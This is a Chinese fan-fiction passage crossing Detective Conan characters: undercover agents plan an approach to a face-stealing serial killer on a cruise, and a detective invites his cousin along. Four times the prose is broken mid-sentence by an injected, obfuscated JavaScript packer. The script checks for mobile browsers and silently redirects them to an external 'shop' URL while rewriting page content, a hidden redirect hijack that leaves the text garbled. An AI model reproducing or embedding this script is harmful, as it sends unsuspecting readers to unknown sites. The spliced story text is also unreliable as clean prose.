“那更好,”山田警官笑了,“你告诉我他长什么样,我们广播找他。” 夜神透看了他一眼,又看了看服部平次。 服部平次以为他终于要配合了,正想开口帮腔,却听见夜神透然后突然指着他们后方大声叫道: “有人抢劫!” 所有人的注意力都被这一声喊叫吸引过去,包括山田警官、服部平次,以及附近几个听到喊声的路人,一个大叔甚至撸起袖子准备见义勇为。 就在这一瞬间,夜神透像一条泥鳅一样钻进了人群。 “等等——”服部平次反应过来时,那个小小的身影已经在人流中滑出了五六米远。他下意识伸手去抓,只捞到一把空气。 “站住!”山田警官立刻追上去,但夜市的人流实在太密集了。 等他挤过几个正在疑惑张望的大妈时,那个绷带小鬼的影子已经彻底不见了。 “该死!”服部平次也追了上来,四处张望,“这小鬼怎么跑得比兔子还快!” 对讲机里再次传来声音:“山田队长,东边路口有可疑人员试图翻越围栏,是否需要支援?” 山田警官深吸一口气,按下对讲机:“先处理那边,注意安全。这边走失儿童的事……先放一放,通知各出口同事留意一个十一二岁、穿着斗篷,全身缠满绷带的男孩。对了,他刚才顺走了一个帽子,可能会伪装,让同事们擦亮眼睛。” “明白。” 服部平次站在人群中,眉头紧锁。 先不说那个小鬼为什么要逃跑,光是他逃跑时展现出的能力都足够把服部平次吓一大跳了。 精准地钻进了人群最密集的地方,利用身高优势在成年人视线死角里穿行——这得是多快的反应速度和多强的观察力才能做到? 他甚至能在逃跑的同时,还不忘顺手把一个路人挂在背包上的帽子扯下来扣在自己头上! 这能是十一岁小孩该有的反追踪能力? “服部君?”山田警官走过来,拍了拍他的肩膀,“别灰心,这孩子跑不远的。我已经通知各出口的同事留意了,他那个打扮太显眼,跑不掉的。” 服部平次叹了口气,勉强道:“但愿吧” 其实服部平次对抓住那个小鬼不抱什么希望,倒不是看不起警察的办事效率,只是看那小鬼刚才那一套声东击西、顺手牵羊、行云流水的操作一看就是老手,说不定早就跑到三条街开外,连绷带都换下来了。 与此同时,另一边。 同样接受到郎姆发来的消息的诸伏景光内心复杂。 大阪的任务结束了,相关人员撤回。 就这么短短一句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333890|198683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,没有任何多余的信息。 没有解释,没有后续安排,更没有提到那个新人。 他把手机扣在桌上,闭上眼睛,深吸了一口气。 作为公安卧底,他本该是最希望组织任务中止或失败的人。但此刻他心里涌上来的,不是庆幸,而是说不清道不明的复杂。 几个小时前的那一幕现在还在他脑子里反复播放——新人在苏格兰所在的酒店的餐厅里,和一个苏格兰昨天才见过的警察接头了。 光明正大地聊天,光明正大地递出笔记本电脑上的资料,光明正大地完成诸伏景光这辈子想都不敢想的行为。 整个过程没有任何遮掩,没有任何避讳,就在这个坐满客人的餐厅里,众目睽睽之下。 当时看到这一幕的诸伏景光心都凉了半截。 认真的吗。 就算要接头,能不能找个隐蔽点的地方?能不能换个晚上?能不能别这么光明正大?你是生怕别人不知道你是卧底吗?! 他当时甚至有一种冲动,想冲出去把那个新人拽进巷子里,狠狠质问:你到底在干什么?! 但他不能。 他只能坐在一个角落,假装在认真看菜单,用反光死死盯着身后不远处的两个人,心跳快得像要从嗓子眼蹦出来。 当时的他甚至有一瞬间在思考这是不是组织给他下的套。 不然哪个卧底接头会这么明显? 但他也很快清醒了。 如果真是组织设局,不会这么粗糙。以组织的手段,真要试探他,有上百种更隐蔽更致命的方式,不至于搞这种一眼假的戏码。 这样想着,诸伏景光叹了口气。 说实话,那场面给诸伏景光带来的心理震撼实在太大,以至于现在回想起来,那种心悸感还在。 看到了卧底同事的暴露行为……诸伏景光对于隐瞒这件事也是有心无力,毕竟是郎姆开的口,肯定不止他苏格兰这一关,加上新人这么胆大的动作,别说苏格兰了,换琴酒想保下都困难。 他太清楚组织的作风了。大阪街头那么多监控,朗姆手下那么多情报人员,万一有谁正好路过,万一哪个摄像头拍到了那个画面——到时候被查出来的,就不只是夜神信一个人。 组织会顺藤摸瓜。他们会查那个警察是谁,查夜神信和他见过几次面,查夜神信进入组织后的所有行踪。 他不会留下证据,他做事一向小心。但只要组织开始查,任何蛛丝马迹都有可能暴露。 而一旦暴露…… 他不敢往下想。 本以为会收到什么灭口的指令,或者是继续监视的通知。结果郎姆却半天没回,直到不久前,才发邮件让他回东京,说这次任务结束了。 诸伏景光:“……” 那新人呢?不管了吗? 尽管内心的疑问翻江倒海,很想问郎姆到底在想什么,是不是有什么他不知道的安排,但诸伏景光表面上还是没说什么,只是平静地回复了一句“明白”,然后订了两张明天早上回东京的车票。 24.千面魔鬼的落幕(一) 诸伏景光担心着担心着,两天后却意外得知了新人获得代号的消息。 那个不久前还被监视的新人,那个被怀疑是卧底、和警察接过头、才加入组织不到三个月的新人——拿到了代号。 诸伏景光:“…………” 他盯着手机上的通知看了三遍,确认自己没有眼花,也没有出现幻觉。 朗姆这是把他的汇报当成推荐信了吗?? 不不不,问题不在于朗姆怎么理解那份汇报,问题在于——那个新人是真的有问题啊!他和警察接头是事实,他的履历有疑点是事实,他加入组织才三个月也是事实! 组织什么时候变得这么好混了? 还是说那个新人的能力真的强到让朗姆愿意忽略这些疑点? 但这些也不是想忽视就能忽视的吧,这可是卧底啊! 尽管内心被这个消息震荡得震惊不已,但诸伏景光还是没有耽误自己的任务。 倒不如说收到任务内容的那一刻,他的注意力就完全被吸引了——波本、黑麦威士忌、苏格兰威士忌。 三个拥有代号的成员,共同执行一个任务。 这样的配置在组织里还算罕见,要么是任务极其重要,要么是目标极其危险。 不论是哪一个都很麻烦。 但感到麻烦的同时,因为某个代号的原因,他心里也升起一丝细微的期待。 波本,和他一同卧底在组织的幼驯染。 不知道他最近过得怎么样。 —— 东京,组织给的安全屋地点。 诸伏景光提前十分钟到达,发现莱伊已经靠墙站着,指间夹着一根没点燃的烟,朝他微微点头算是打过招呼。 有烟瘾居然会在室内忍着不点。 有些意外的诸伏景光点头回礼,顺便在心底默默给这位见过几次面的顶尖狙击手贴上“稍微有点素质的犯罪分子”这个标签。 没过多久,门被推开,波本走了进来,金色的发丝在昏暗的灯光下显得有些暗淡,但那双紫灰色的眼睛格外锐利。 “你们来的还挺快,”波本扫视一圈,对两个人都提前到了的事表示惊讶,但接下来的语气立马变得公事公办,直入正题,“那就开始吧。” 任务简报是波本带来的。他在谈判组待过,这种需要接触目标的活自然落在他头上。 “目标代号‘千面魔鬼’,当然,这是他自己取的。”波本将几份资料分发给两人,“真名是深町诚,二十七岁,职业是自由化妆师,但实际上是个连环杀人犯。目前已知的受害者有七人,分布在不同城市,死法一致——被勒死后剥下脸皮。” 诸伏景光翻看着资料,现场照片触目惊心,失去脸皮的尸体躺在各种阴暗的角落,像被剥了壳的荔枝,只剩下模糊的血肉。 他面不改色地翻过去,在组织待久了,对这种画面的耐受度已经提高了不少。 “他剥下来的脸皮会经过处理,然后自己戴上。”波本继续说道,“警方一直没能抓住他,因为他的变装技术确实出神入化,可以完美模仿死者的外貌。这也是他自称‘千面魔鬼’的原因,据说他可以变成任何他想变成的人。” “组织想招揽这种人?”莱伊终于开口,声音低沉。 “有用的人才,为什么不招揽?”波本挑眉,“而且他杀的人和组织无关,不算惹麻烦。” 诸伏景光合上资料,“所以我的任务是什么?” “你的和莱伊一样,备用方案。”波本理所当然地说,“我先去接触他,试探他的想法。” “接触一个喜欢剥人脸皮的连环杀人犯?”莱伊确认道。 “对。” “用你那张脸?” 波本的笑容僵了一瞬:“你有什么意见吗,莱伊?” “没有。”莱伊靠在墙上,语气平淡,“只是确认一下你负责的部分是什么。” 诸伏景光对这种事习以为常,低头看资料,假装自己突然对手上的纸产生了浓厚的兴趣。 这种程度的针锋相对,在组织里实在算不上什么。波本和莱伊不对付是众所周知的事,见面不呛两句才奇怪。 只不过今天这场合有点微妙。 三个人,其中两个不对付。 波本和莱伊互相看不顺眼,苏格兰和波本表面上是普通同事——至少在外人看来是这样。 所以当波本被莱伊噎了一句之后,他的反应就很有意思了。 他不能对莱伊发火,那太掉价,而且可能正中对方下怀。他也不能对苏格兰表现得太亲近,那会让人起疑。 于是波本深吸一口气,决定战略性忽略这句话,继续推进会议流程:“总之,任务本身并不复杂。我先调查资料,明天下午去接触他,你们在附近待命。如果我失联超过四小时,就按计划行动。” “计划是什么?”莱伊问。 “没有具体计划。”波本站起身,整理了一下袖口,微笑着看向莱伊,语气和蔼得有些过分,“你们随机应变。我相信两位的能力。” 诸伏景光听着这句话,总觉得翻译过来是“我才懒得给你们想办法,到时候你们自己看着办吧”。 嗯,很波本。 而且这一招确实高明,表面上是在夸人,实际上是把责任全甩了出去。如果任务顺利,是他波本接触成功、情报准确;如果出了纰漏,那就是苏格兰和莱伊“随机应变”得不够好。 隐瞒他和苏格兰的关系同时还能顺便恶心一下莱伊。 一箭三雕。 诸伏景光在心里给幼驯染的这番操作打了个高分,然后继续低头看资料,假装自己什么都没听出来。 余光里,他看见莱伊面无表情地翻看资料,也不知道是真没听懂还是装没听懂。 不过以他对这位同事的了解,后者可能性更大。 毕竟能在这个组织活下来的人,没一个是真傻。 —— 伊达航最近心情不错。 不是因为案子破得顺利——虽然最近确实挺顺的。也不是因为终于涨了工资——虽然涨薪也是好事。 是因为娜塔莉。 他的女友上周在商场抽奖时,居然抽中了一等奖。 “是一家人海上游轮的票!”娜塔莉在电话里的声音兴奋得快要跳起来,“三天两夜!包吃包住!还可以观看舞台剧表演!” 伊达航当时正在警局写报告,被这个消息吓了一跳。 “一家人?”他抓住了重点。 “对呀,最多可以三个人。”娜塔莉说,“我爸妈都在外地工作,我又没有弟弟妹妹什么的……所以多出来的票就给你啦!” 伊达航握着电话,心里涌起一股暖意。 他知道娜塔莉的父母常年在外地工作,她一个人在东京生活,过年过节都是一个人过,这次抽中奖,第一个想到的就是他。 但他没有立刻答应。 “等等,”他放下笔,语气温和,认真地建议道,“这是你抽中的奖,应该是你和你最重要的人一起去。你真的确定要带上我?” “不然呢?”娜塔莉的声音里带着笑意,“你是我男朋友,不带你带谁?” “那多出来的那张票……”伊达航试探着问,“你真的不留给同事或朋友?” “同事都忙着带孩子呢,关系好的朋友上个月刚结婚,蜜月都度完了。”娜塔莉说,“再说了,我要是带别人去,你不得吃醋啊?” 伊达航被戳中心事,轻咳了一声:“……这倒也是。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345603|198683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 电话那头传来娜塔莉的笑声,似乎知道电话另一头伊达航的表情。 “好啦,就这么定了。”她说,“你想想邀请谁,想好了告诉我。” “好。”伊达航说,“我想想邀请谁。” 挂断电话后,伊达航陷入了沉思。 邀请谁呢? 他第一个想到的是萩原研二。 那家伙最近忙得脚不沾地,也该放松放松了。而且萩原性格好,会说话,和娜塔莉也见过几次面,相处得不错。 但转念一想,又觉得不太对。 单独邀请萩原研二出去的话,有种冷落了松田阵平的意思,在大家关系都不错的情况下显得有些偏心。 伊达航想了半天,忽然想起一个人。 子安观。 他的表哥。 那个四年前被他从警察局带回家,沉默寡言,后来慢慢变得正常,甚至可以独立生活的表哥。 子安观话少,性格温和,不会呛人。而且,他一个人住,平时也没什么娱乐活动,正好趁这个机会出去散散心。 最重要的是,娜塔莉一直想见见他。 或者说,娜塔莉真正想要的是和伊达航的家人进行破冰行动什么的。 这次正好。 他拿起手机,拨通了子安观的号码。 电话接起后,他提了这件事,而对面的人沉默几秒,同意了。 挂断电话后,伊达航靠在椅背上,心情更好了。 这应该会是一个不错的假期。 听说那艘游轮上还有舞台剧表演,娜塔莉一直想看现场版的舞台剧,这次终于有机会了。到时候一定要带她去看最好的位置,让她开开心心地玩两天。 而对于表哥,这次游轮之旅,应该能让他放松一下吧。 伊达航这么想着,拿起手机给娜塔莉回消息:【搞定了,我表哥一起去。】 娜塔莉秒回:【期待.jpg】 伊达航看着那个跳跃的小表情,笑了笑,把手机收进口袋。 …… 与此同时,东京某处安全屋。 安室透盯着电脑屏幕,眉头紧锁。 他查到的情报显示,目标深町诚最近接了一份工作,以自由化妆师的身份,登上自由号游轮,为船上的舞台剧演员提供化妆服务。 游轮出发时间是三天后,为期三天两夜。 安室透快速翻阅着手里更多的情报。深町诚目前还没有察觉到组织的存在,他只是照常接了一份短期工作而已。但对于组织来说,这种封闭空间反而是绝佳的接触机会——没有警察,没有闲杂人等,目标无处可逃。 问题是时间太紧了。 三天后出发,今天必须把票订好,明天就要做最后的准备。 他打开订票页面,快速查询余票情况,看见还有后毫不犹豫地点了购买,三张。 买票的时候他特意选了不同的舱位区域,毕竟他和目标接触的时候,苏格兰和莱伊需要在附近待命,但不能太近,以免打草惊蛇。 但刚买完他就有点不爽了,苏格兰就算了,莱伊的票凭什么他买? 就算会组织报销也是他先垫的。 这样想着,他毫不犹豫地拿起手机,给苏格兰发了他查到的资料,并补了条消息:【票订好了,收拾下东西。莱伊那份回头让他转我。】 发完这条,他把手机扣在桌上,心情稍微舒畅了一点,喝了口咖啡,继续心情舒畅地工作。 而远在天边的赤井秀一收到苏格兰的消息后倒也没生气,毕竟是他先呛波本的。 至于为什么招惹波本……这事还真有原因,毕竟赤井秀一也不是什么爱惹事的人。 不过从试探结果来看,波本是真的没看见。 25.千面魔鬼的落幕(二) 在安室透与赤井秀一分别踏上前往东京的列车时,夜神透也去往了东京。 原因很简单,他在大阪被通缉了。 夜神透一边甩开身后询问的警察一边不可思议地在内心呐喊。 普通的不想写作业而离家出走的小孩会被直接通缉吗?万一他当时逃跑就是直接回家的呢,普通小孩被通缉的话会对现实生活造成苦恼的吧? 给我有点文人关怀或者人道主义之类的东西啊! 总之,大阪是不能呆了。 但他还不舍得放弃神偷这个开了挂的马甲,也不想去其余三个成年男人的身体里工作,于是打算去东京。 毕竟通缉一个小孩子不可能全日本通缉吧? 夜神透在心里给自己打了气,然后去买了新干线的票。 他不知道的是,如果让大阪的警察知道他在想什么,一定会喊冤。 毕竟警察们是真的没有缺德到去通缉一个小孩子。 只是夜神透运气不好,遇到的巡逻警察恰好是那天夜里去追捕人贩子的警察之一。那个警察听说过“差点被拐又自己逃跑的小孩子”的特征,看到穿着斗篷、全身缠满绷带的夜神透的第一时间,就想上去确认一下他是不是那个孩子,需不需要帮助。 结果还没开口问第二句话,那孩子跑得比兔子还快,小小年纪就显露出了可以去参加奥运会长跑项目为国争光的天赋,给警察看的呆愣在原地,一时间没有反应过来。 而夜神透对此一无所知,怀疑自己被通缉了的他只想连夜逃离大阪。 新干线上人不算多,他随便找了个靠窗的座位坐下,低着头闭目养神。 突然,有人在他旁边的位置坐了下来。 夜神透余光扫了一眼——短发,运动服,身形纤细,五官精致。第一反应是个男生,但仔细一看…… 是女生。 他多看了两眼,确认了自己的判断。 那女孩大概十三四岁,短裤短袖短发,眉眼很锐利,带着一种男孩子气的英气,但下巴的线条和脖颈的弧度出卖了她。 夜神透收回目光,继续看窗外。 但那女孩似乎不打算放过他。 “嗯?”她忽然开口,声音清脆,带着一点好奇,“你这身打扮是怎么回事?拍戏吗?” 夜神透转头看她。 黑色斗篷,缠满绷带的身体,遮住半边脸的刘海——他这一身确实挺显眼的。在大阪的时候估计就因为太显眼被警察盯上了。 “不是。”他说。 “那你怎么缠成这样?”女孩歪着头看他,“受伤了?” “没有。” “那你缠绷带干嘛?” 夜神透看着她,沉默了一秒。 “因为帅。” 女孩愣了一下,似乎没有想过会是这样的回答,然后“噗”地笑出声来。 “哈哈哈——你这人真有意思!”她伸出手,“我叫世良真纯。你呢?” 夜神透看着那只手,犹豫了一下,握了握,并借用了某个人的名字。 “绿川透。” “绿川?”世良真纯念了一遍,“这个姓挺少见的。” 夜神透没说话。世良真纯也不在意,继续问:“你去东京干嘛?一个人?” “嗯。”夜神透再次搬出那个万能的借口,“去找我哥。” “你哥?”世良真纯眼睛一亮,似乎对这个话题很感兴趣,“他在东京?” “嗯。” “那你爸妈放心你一个人坐新干线?” 夜神透看了她一眼,没有回答。 这时候,世良真纯也意识到了自己的年纪和身边的人差不了多少,没有再追问,只是点了点头:“那你小心点。” 夜神透“嗯”了一声,继续看窗外。 车厢里安静了一会儿,世良真纯似乎也在想自己的心事,没有再说话。 然后,她的目光忽然定住了。 夜神透注意到她的身体微微绷紧,像一只突然发现猎物的猫。他顺着她的目光看去——车厢的另一头,一个戴着针织帽、留着黑色长发的男人正靠着车门看手机。 那个男人很高,穿着黑色皮衣,侧脸线条冷硬,浑身上下散发着一种生人勿近的气场。 那种大大咧咧的笑容消失了,取而代之的是一种认真的、专注的、带着点紧张的表情。她微微调整身形,把自己藏在车里站着的大人后面,目光死死盯着那个男人。 夜神透看着她的反应,又看了看那个男人,心里大概明白了。 跟踪。 这女孩在跟踪那个男人。 而且那个男人显然没发现她——至少目前没有。 并不打算多管闲事的夜神透没有多问,只是把帽子重新盖回脸上,继续装睡。 世良真纯的跟踪技术……说实话,不算差,但也不算好。她懂得利用人群和障碍物遮挡自己,懂得保持距离,不跟太近。 但她不知道的是,自己的跟踪对象是FBI的王牌探员。 从赤井秀一下车的那一刻起,他就知道有人在跟着他。 他假装没发现,继续往前走。目光扫过站台的每一个角落,在心里默默记录着可能的出口和监控位置,并在内心猜测跟踪自己的人是谁。 然而没过多久,他才刚发现跟踪自己的人是谁,另一个更棘手的身影就闯进了视线。 说实话,那头金发在人群中真的很显眼。 安室透正站在车门附近,手里拿着手机,像是在发消息。他穿着深色外套,戴着棒球帽,墨镜架在鼻梁上,整个人看起来和任何一个普通旅客没什么两样——如果忽略他那张走到哪里都会被人多看两眼的俊脸的话。 赤井秀一的目光在他身上停了一瞬,随即不动声色地收回。 没想到会在这里撞见波本,组织的行动向来讲究单线联系,出现这种意外反倒是预料之中。 安室透抬起头,收起手机,已经发完消息的他下意识打量周围。 赤井秀一才刚有所动作,还来不及隐藏身形,他在日本人中过于出众的身高就已经暴露了他。 “莱伊。”估计是闲的无聊的波本向他打了个招呼,“你来得挺早。” “你不也是。”开始遗憾自己不能作聋作哑的赤井秀一回应了波本。 波本双手插进口袋,语气随意:“我可没你那么闲,我是有其他任务才提前来的。” 这话说得很波本,既划清了界限,又不动声色地炫耀了自己的忙碌,彰显自己在组织的地位。 但赤井秀一没接话,很无所谓的样子,似乎对这场偶遇并不热衷。 他的余光扫过波本身后——世良真纯正坐在靠窗的地方,身边有另外一个装扮奇特的小孩子,而她把自己大半身形藏在一个背着双肩包的旅客身后,只露出半个脑袋,却还是忍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351054|198683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不住探头探脑地往这边张望。她的注意力全在他身上,显然根本没注意到他面前站着的是谁。 赤井秀一的心微微一沉。 运气真差。 波本。 组织里以敏锐和多疑著称的男人,如果让他发现有人在跟踪,哪怕只是一个小女孩,也会引起怀疑。 得让她离开。 但现在不是时候,波本就在面前,他不能做任何异常的动作。 “苏格兰还没到?”他问,语气随意。 “你在说什么呢?”安室透狐疑地看着他,对于莱伊一反常态的没话找话有些震惊,“苏格兰本来就在东京。” 赤井秀一点了点头,假装不经意地侧了侧身,用余光再次扫过那边。 他做好了最坏的打算——如果世良还没意识到危险,他或许需要制造一点动静让她警觉。 但那里已经没人了。 那个靠窗的座位空空荡荡,双肩包旅客还在低头看手机,而世良真纯像是从未出现过一样消失了。 赤井秀一在心里松了一口气,面上却丝毫不显。 “莱伊?” 波本的声音忽然靠近了一些,语气里多了几分审视的味道。他的目光顺着赤井秀一刚才的视线方向看过去,什么也没发现。 “你看什么呢?” “看那边有个自动贩卖机的广告。”赤井秀一面不改色地开始扯谎,顺便试探一下,“在想你请不请我喝一罐咖啡。” 以波本的性格被这样挑衅的话,会立刻用对方的把柄做出反击吧? 果不其然,波本的表情肉眼可见地僵了一瞬。他大概正在飞速判断这句话到底是挑衅、试探,还是单纯的不要脸。 以莱伊的性格,三种可能性都存在,而且哪一种都不让人愉快。 最终他选择了一个安全的角度——既不失体面,又不会让自己显得被动:“你自己的工资不比我低。” “但你是顺路。” “谁跟你说我顺路了?” “你不是有别的任务要做吗?。”赤井秀一微微偏头,朝安室透身后的方向示意了一下,“应该在这里就下车吧?” 莱伊说得没错,他确实要在这站下车。但安室透讨厌这种被对方轻描淡写看穿行程的感觉,更讨厌莱伊那副好像什么都尽在掌握的语气。 他脸上却露出了一个堪称温和的笑容——那种笑容在波本脸上出现的时候,往往意味着他在生气。 “观察得这么仔细,”他慢悠悠地说,“看来你的狙击手职业病越来越严重了。” “职业病总比疑心病好。” “你说谁疑心病?” “谁请不起一罐咖啡谁就是。” 两个人对视了一眼。空气里仿佛有看不见的火花噼啪作响,周围的旅客下意识地绕开了他们两步,大概是被这两个高个子男人之间微妙的压迫感吓到了。 就在这时,赤井秀一的手机震动了一下。他没有立刻去看,但安室透的目光已经落了过去。 “不回消息?”安室透问。 “不急。” “该不会是女朋友吧?” “不是。”赤井秀一顿了顿。大约是想到宫野明美的事,难得地多解释了一句,“已经分手了。” 就是因为这个才对赤井秀一态度格外差的安室透嘴角抽了抽。 很好,今天的他也依旧很讨厌莱伊。 26.千面魔鬼的落幕(三) 这艘游轮并没有目的地,只是单纯的去海上开一圈然后开回来而已。 子安观靠在游轮边,双手撑着栏杆,看着东京港的码头越来越远。岸上的建筑缩成小小的方块,人影消失不见,只剩下灰蒙蒙的城市轮廓和天空的交界线。 身后是嘈杂的人群,放着轻快的音乐,旁边还有一对小情侣靠着栏杆自拍。 很热闹。 “哥!” 伊达航的声音从身后传来。 子安观转过头,伊达航正朝他走过来,身边跟着一个身材娇小的金发姑娘——娜塔莉。 她穿着一件白黄相间的连衣裙,头发被海风吹得有些乱,但笑容很灿烂,一只手挽着伊达航的胳膊,另一只手拿着游轮的宣传手册。 “你怎么一个人跑这儿来了?”伊达航走到他身边,也靠在栏杆上,“我们找你半天了。” “吹吹风。”子安观说。 娜塔莉从伊达航身后探出头来,用与外貌不符的日语说:“你好,我是娜塔莉。终于见到你了,航经常提起你。” 子安观看着她,点了点头:“你好。” 他的语气很平淡,但娜塔莉没有介意,反而笑得更开心了。 “航说你很安静,”她说,“果然很安静。” 伊达航在旁边咳嗽了一声:“娜塔莉——” “我说的是实话嘛。”娜塔莉眨了眨眼,然后转向子安观,“子安君,你饿不饿?餐厅有自助餐,听说还有海鲜和冰淇淋。” “我不饿。”子安观说。 “那你想不想去看舞台剧?下午有一场,宣传册上说很好看。”她把宣传册递到他面前,指着上面一张色彩鲜艳的海报。 子安观看了一眼海报,又看了看伊达航。 伊达航正用一种“帮帮忙”的眼神看着他。 那眼神里的含义非常明确,娜塔莉第一次跟他见面,明显很想给他留下好印象,而伊达航作为夹在中间的那个人,此刻的处境大概类似于“带女朋友见见家里不好相处的亲戚”。 “……可以。”并不想成为不好相处的亲戚的子安观说。 娜塔莉欢呼了一声,拉着伊达航的胳膊就往船舱里走。走了两步,又回头对子安观喊:“那我们两点见!” 子安观点了点头。 两个人的身影很快消失在视野范围外,娜塔莉还在高兴地说着什么,伊达航低头听她讲,偶尔应两句,背影看起来倒是有那么点老夫老妻的味道——虽然这个老夫此刻正偷偷把手背在身后,冲子安观比了个大拇指。 周围恢复了安静,子安观转过身,继续看海。 而波光粼粼的海面让子安观终于开始思考那一瞬间忽略的事。 “……” 啊,是错觉吗? 治安官微微眯起眼睛。 刚刚,就在他和娜塔莉说话的那个瞬间,余光好像捕捉到了什么。 一个黑色的身影,从甲板的另一侧走过,在人群里一闪而逝。 但他去仔细看的时候,只看到了很多陌生人,穿花衬衫的、穿白裙子的、穿西装的、和朋友交谈的,层层叠叠地交错在一起,那个身影再也没有出现。 大概是看错了。 海上的光线总是晃眼,人又多,认错也很正常。 治安官这样想着,莫名紧绷的神经稍微放松了下来。 毕竟,那个家伙怎么想都不可能出现在这里。 —— 而在游轮的另一侧,甲板的人流稍微稀疏一些的地方,安室透正靠在栏杆边,手里端着一杯不知道从哪里拿的冰咖啡,脸上挂着一副“我是来度假的”的闲散表情。 他今天穿了一件浅白色的短袖,外面套了件薄薄的白色休闲外套,没有穿平时那件标志性的风衣。金发被海风吹得有些乱,但他没有去整理,反而故意让它更乱了一点,让它看起来不像是在工作的样子。 实际上,他确实没有在工作,或者说,没有在执行组织的任务。 毕竟这种难度的任务不需要花费什么脑细胞,甚至可以找理由直接灭口……哦这个不行。 虽然这个目标对安室透来说还算简单,但上面明确说了要招揽,而且安室透身上还有个不得了的小玩意儿,所以“不小心推下海”这种省事的方案只能遗憾地pass掉。 “安室,你一个人在这儿干嘛?” 声音从身后传来,安室透没有回头,因为从脚步声他就听出来是谁了。 “吹风。”他说,用了这个很常见的理由。 诸伏景光走到他旁边,也在栏杆边靠了下来。他穿得比安室透正式一些,一件深灰色的夹克,拉链拉到一半,里面是黑色的高领衫。他的目光在甲板上扫了一圈,然后收回,落在手里的可乐罐上, “莱伊呢?”安室透问,转过身来,背靠在栏杆上。 这个姿势让他的视野从看海变成了看甲板,他侧过身,用靠近诸伏景光的那只手在栏杆下方比了个手势。 诸伏景光自然注意到了这点,一边警惕的同时一边自然地回答: “在船舱里。” zero给他的手势意思是有人监视。 有人在监视他们,是谁?组织的?还是别的什么势力? zero提到了莱伊,会是莱伊在监视他们吗? 虽然他们三个人这次是以“同伴”的身份一起出现的。但安室透对莱伊的戒备从来没有放下过,诸伏景光也是。但他们三个人之间的默契又确实好得惊人,好到连接受度最强的诸伏景光都觉得荒谬。 谁负责哪个方位、谁突前、谁殿后、谁在什么时间做什么事,配合得像一支磨合了三年的小队。 这让组织里对他们三个的态度一直很微妙,三个能力出众的代号成员被频繁地安排在一起执行任务,说是他们配合默契、强强联合。 诸伏景光甚至偶尔会想,如果有一天他们真的需要拼个你死我活,这种默契会不会变成一种讽刺。 算了,想太多无意义的事只会扰乱思路。 “持续到后天下午,”苏格兰打开可乐罐,喝了一口,气泡在舌尖炸开的感觉让他稍微清醒了一点,“你打算一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359287|198683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直在这儿吹风?” “你有什么建议?” “至少去吃点东西,自助餐的海鲜看起来还不错。” “不用。” 诸伏景光没有接这个话茬,只是笑了一下。 在有人监视他们的情况下,zero对他态度冷淡也正常,应该是这次监视的人真的很麻烦,在提醒他离开。 只是他在面对作为波本的降谷零时,曾经的熟悉感变成阴阳怪气和突然冷场让他都不知道该怎么办了。 这么多年了,还是会被他的演技惊到。 于是诸伏景光一边目光漫不经心地扫过甲板上的游客,一边打算找个借口离开时—— 惊鸿一撇的诸伏景光的动作顿了一下。 ……琴酒怎么在这里? 啊等等,那不是琴酒,是那个风格和琴酒很像的新人。 同样的黑色长风衣,同样的长头发,同样冷硬的面部线条和同样拒人于千里之外的气场。但仔细看的话,身高比琴酒矮了两三公分,肩宽也窄一些,脸上的棱角没有琴酒那么锋利。 现在好像也不能叫他新人了,虽然进组织不到三个月,但已经有了代号。 诸伏景光稍微回忆了一下。 克拉瑞。 不过他怎么会来这儿? 而且怎么还是这种打扮? 不过这些都不是重点。 重点是,克拉瑞为什么在这里? 诸伏景光可没有忘记克拉瑞明明疑是卧底却深受朗姆信任这件事。 这个可疑过头的点让他对这个人的出现格外警惕,加上卧底技术的拉跨,根本没有半点同事情的诸伏景光根本没有想要为他隐瞒的意思。 要是能顺便搞清楚他到底是什么情况……那就更好了。 他不动声色地收回视线,可乐罐贴在唇边,借着喝饮料的动作提醒幼驯染:“三点钟方向。” 安室透没有转头,只是微微调整了一下站姿,用余光确认了目标。 “……克拉瑞。”不久前调查过不远处的人所以记得很清楚的安室透声音压得很低,像是在自言自语,“组织派他来的?还是他自己来的?” 此话一出,两人同时沉默了。 哪种可能好像都不是什么好事啊! 